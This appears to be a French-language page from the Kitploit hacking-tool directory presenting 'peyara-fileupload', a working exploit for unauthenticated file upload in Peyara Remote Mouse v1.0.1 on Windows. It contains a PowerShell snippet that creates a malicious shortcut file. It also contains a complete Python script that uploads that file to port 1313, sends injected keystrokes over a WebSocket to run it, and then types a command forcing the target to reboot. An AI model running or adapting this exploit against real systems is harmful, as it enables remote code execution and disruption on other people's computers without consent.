Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/capture0x/peyara-fileupload
Génération de PayloadsExploitationExploitation d'Applications WebOutil d'Accès à Distance
GitHubcapture0x/peyara-fileupload

Peyara-FileUpload

Peyara Remote Mouse – Téléversement arbitraire de fichiers non authentifié

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Titre de l'exploit : Peyara Remote Mouse v1.0.1 — Téléversement arbitraire de fichiers sans authentification

Date : 2025-01-06

Auteur de l'exploit : tmrswrr

Lien du logiciel : https://peyara-remote-mouse.vercel.app/

Plateforme : Windows

Version : v1.0.1

Testé sur : Windows 10

root@kitploit:~
USAGE : python3 combined_script.py <target_ip> <path_to_lnk_file>

Créer un fichier LNK malveillant (evil.lnk)

root@kitploit:~
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\evil.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command "Start-Process calc.exe"'
$Shortcut.WorkingDirectory = "%USERPROFILE%"
$Shortcut.IconLocation = "%SystemRoot%\System32\shell32.dll,1"
$Shortcut.Save()

Déroulement de l'exploit : Téléverser evil.lnk via HTTP POST → Établir une WebSocket → Simuler Ctrl+Esc + cmd + Entrée → Exécuter le LNK via for %i in ("%USERPROFILE%\Desktop*evil.lnk") do start "" "%i" Vous verrez s'ouvrir calc.exe

EXPLOIT

root@kitploit:~
#!/usr/bin/env python3
import asyncio
import websockets
import json
import argparse
import requests
import os


BOUNDARY = "rEZVajKDyijVrXLV2h8zOkgpm4x2NfDfmVs4UdvkPQwgoATx18zpO9ecnaRDQgVDjrOmpt"

def upload_file(target_ip, file_path):
    """Upload a file to the target server"""
    url = f"http://{target_ip}:1313/upload"
    filename = "evil.lnk"  
    

    try:
        with open(file_path, "rb") as f:
            file_content = f.read()
        print(f"Read {len(file_content)} bytes from {file_path}")
    except Exception as e:
        print(f"Error reading file: {e}")
        return False


    headers = {
        "Host": f"{target_ip}:1313",
        "Connection": "keep-alive",
        "Accept": "application/json, text/plain, */*",
        "User-Agent": "Peyara/4 CFNetwork/1496.0.7 Darwin/23.5.0",
        "Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
        "Accept-Language": "tr-TR,tr;q=0.9",
        "Accept-Encoding": "gzip, deflate",
    }


    body = (
        f"--{BOUNDARY}\r\n"
        f'content-disposition: form-data; name="file"; filename="{filename}"; filename*=utf-8\'\'{filename}\r\n'
        f"content-type: application/octet-stream\r\n\r\n"
    ).encode() + file_content + f"\r\n--{BOUNDARY}--\r\n".encode()

    headers["Content-Length"] = str(len(body))


    try:
        print(f"Uploading {filename} to {url}...")
        response = requests.post(url, data=body, headers=headers)
        print(f"Upload Status: {response.status_code}")
        print(f"Response: {response.text}")
        return response.status_code == 200
    except Exception as e:
        print(f"Upload failed: {e}")
        return False

async def execute_exploit(target_ip):
    """Execute the exploit via WebSocket"""
    uri = f"ws://{target_ip}:1313/socket.io/?EIO=4&transport=websocket"
    async with websockets.connect(uri) as ws:

        await ws.recv()  
        await ws.send("40")
        await ws.recv()  
        

        frame = await ws.recv()
        if frame == "2":
            await ws.send("3")  
        
        await asyncio.sleep(1)


        await ws.send('42["edit-key",{"key":"escape","modifier":["control"]}]')
        await asyncio.sleep(0.5)
        

        for key in ["c", "m", "d", "enter"]:
            await ws.send(f'42["key","{key}"]')
            await asyncio.sleep(0.2)
        await asyncio.sleep(1)
        

        run_cmd = r'for %i in ("%USERPROFILE%\Desktop\*evil.lnk") do start "" "%i"'
        for char in run_cmd:
            payload = '42' + json.dumps(["key", char])
            await ws.send(payload)
            await asyncio.sleep(0.1)
        

        await ws.send('42["key","enter"]')
        await asyncio.sleep(3)  
        

        restart_cmd = 'shutdown /r /t 0'
        for char in restart_cmd:
            await ws.send('42' + json.dumps(["key", char]))
            await asyncio.sleep(0.1)
        

        await ws.send('42["key","enter"]')
        print("[*] Files executed and restart command sent!")
        

        await asyncio.sleep(5)
        

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Upload and execute LNK file then restart target')
    parser.add_argument('target', help='Target IP address')
    parser.add_argument('file', help='Path to the LNK file to upload')
    args = parser.parse_args()
    

    if not upload_file(args.target, args.file):
        print("File upload failed. Exiting.")
        exit(1)
    
    print("File uploaded successfully. Starting exploit...")
    

    asyncio.get_event_loop().run_until_complete(execute_exploit(args.target))

Télécharger l’outil